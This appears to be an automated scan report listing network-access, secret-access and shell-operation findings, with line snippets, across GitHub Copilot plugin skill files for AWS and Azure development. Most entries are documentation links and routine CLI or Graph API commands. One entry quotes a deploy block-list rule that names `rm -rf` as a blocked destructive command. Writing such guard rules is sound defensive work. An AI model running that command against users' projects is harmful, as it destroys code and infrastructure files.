- [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 125
- [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills) - Network accessline 126
- [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) - Network accessline 127
- [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire) - Network accessline 128
- [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)
harness/github-copilot/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md
- Network accessline 31
**Process**: 1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Network accessline 32
1. **Load Best Practices**: - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html` - Fetch the AWS Well-Architected Cost Optimization pillar summary - Network accessline 33
- Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
harness/github-copilot/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md
- Network accessline 22
- The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud - Network accessline 24
- Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed. - Network accessline 168
- [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)
harness/github-copilot/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md
- Network accessline 22
- IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. - Network accessline 24
- Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed. - Network accessline 211
- [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md
- Network accessline 124
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 125
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 126
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 127
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/patterns.md
- Network accessline 13
- APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance)) - Network accessline 65
az apim api import --service-name <apim-name> --resource-group <rg> --api-id azure-openai-api --path "openai" --specification-format OpenApi --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs - Network accessline 69
--path "openai" \ --specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" - Network accessline 70
--specification-format OpenApi \ --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ --service-url " - Network accessline 71
--specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \ - Network accessline 81
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 82
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 83
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 116
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 117
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 118
"https://aoai-eastus.openai.azure.com", - Network accessline 119
"https://aoai-westus.openai.azure.com" - Network accessline 124
}" /> <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 125
<set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 126
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 134
<set-variable name="backendUrl" value="@{ var backends = new [] { "https://aoai-eastus.openai.azure.com", - Network accessline 135
var backends = new [] { "https://aoai-eastus.openai.azure.com", "https://aoai-westus.openai.azure.com" - Network accessline 136
"https://aoai-eastus.openai.azure.com", - Network accessline 137
"https://aoai-westus.openai.azure.com" - Network accessline 177
<base /> <set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 178
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound> - Network accessline 179
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 216
<set-backend-service backend-id="openai-backend" /> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 217
<authentication-managed-identity resource="https://cognitiveservices.azure.com" />
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/policies.md
- Network accessline 231
<!-- 1. Authentication --> <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 232
<authentication-managed-identity resource="https://cognitiveservices.azure.com" /> - Network accessline 309
- [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 310
- [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies) - Network accessline 311
- [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md
- Access to secretsline 17
[Credential-related source omitted]
harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/troubleshooting.md
- Network accessline 17
| Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us - Network accessline 18
| Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint - Network accessline 19
| Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) | - Network accessline 94
# Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 95
curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 212
# Send request with tracing curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 213
curl -X POST "${GATEWAY_URL}/..." \ - Network accessline 256
# 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 257
curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \ - Network accessline 268
- [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems) - Network accessline 269
- [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics) - Network accessline 270
- [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md
- Network accessline 66
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 67
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 68
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 69
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 70
- [GitHub Models](https://docs.github.com/github-models)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/memory.md
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md
- Network accessline 78
- AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search) - Network accessline 79
- Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-transcription-py.md
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-translation-ts.md
- Access to secretsline 14
[Credential-related source omitted]
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md
- Network accessline 117
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 118
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 119
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 120
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/session-store.md
harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/github-copilot/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md
- Network accessline 72
GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id} - Network accessline 88
Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 89
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 90
-Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3 - Network accessline 102
POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser - Network accessline 138
Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 139
-Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" ` - Network accessline 156
PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref - Network accessline 160
{ "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 161
"@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}" - Network accessline 168
$managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}' - Network accessline 169
Invoke-MgGraphRequest -Method PUT -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" - Network accessline 170
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" ` - Network accessline 183
PATCH https://graph.microsoft.com/beta/users/{agent-user-id} - Network accessline 195
GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits - Network accessline 204
POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense - Network accessline 221
# Set usage location Invoke-MgGraphRequest -Method PATCH ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 222
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" - Network accessline 223
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" ` - Network accessline 227
$licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 228
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" - Network accessline 229
-Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" ` - Network accessline 303
- [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ - Network accessline 304
- [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password. - Network accessline 312
- [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities) - Network accessline 313
- [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users) - Network accessline 314
- [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals) - Network accessline 315
- [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint) - Network accessline 316
- [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities) - Network accessline 317
- [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta) - Network accessline 318
- [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md
- Network accessline 55
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 56
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 57
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 74
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 75
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 76
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 84
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 114
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 115
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 116
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 142
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 143
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 144
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 153
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 154
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 155
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 53
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 55
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md
- Network accessline 21
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 22
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 50
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 51
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 52
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 53
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 104
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 105
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 106
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/dotnet.md
harness/github-copilot/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/python.md
harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md
- Network accessline 21
- Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples - Network accessline 48
1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K - Network accessline 49
2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and - Network accessline 50
3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task. - Network accessline 97
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/references/dotnet.md
harness/github-copilot/plugins/azure-ai-foundry/skills/semantic-kernel/references/python.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/prereq-schemas.ts
- Executable scriptline 1
Executable file - Network accessline 64
buildRequirements?: BuildRequirements; /** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. - Network accessline 65
/** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. * null if no health endpoint found (triggers W-HEALTH warning). */ - Network accessline 66
* Used by scaffold for Azure health probe config and deploy for curl health check.
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/blocked-patterns.md
- Dangerous shell operationline 7
| `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md
- Network accessline 25
| Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use - Network accessline 26
|------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see - Network accessline 27
| 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below).
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-swa.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 52
- **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` ( - Network accessline 53
- `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md
- Network accessline 55
- ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on ` - Network accessline 57
- ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu - Access to secretsline 65
[Credential-related source omitted]
harness/github-copilot/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-schemas.ts
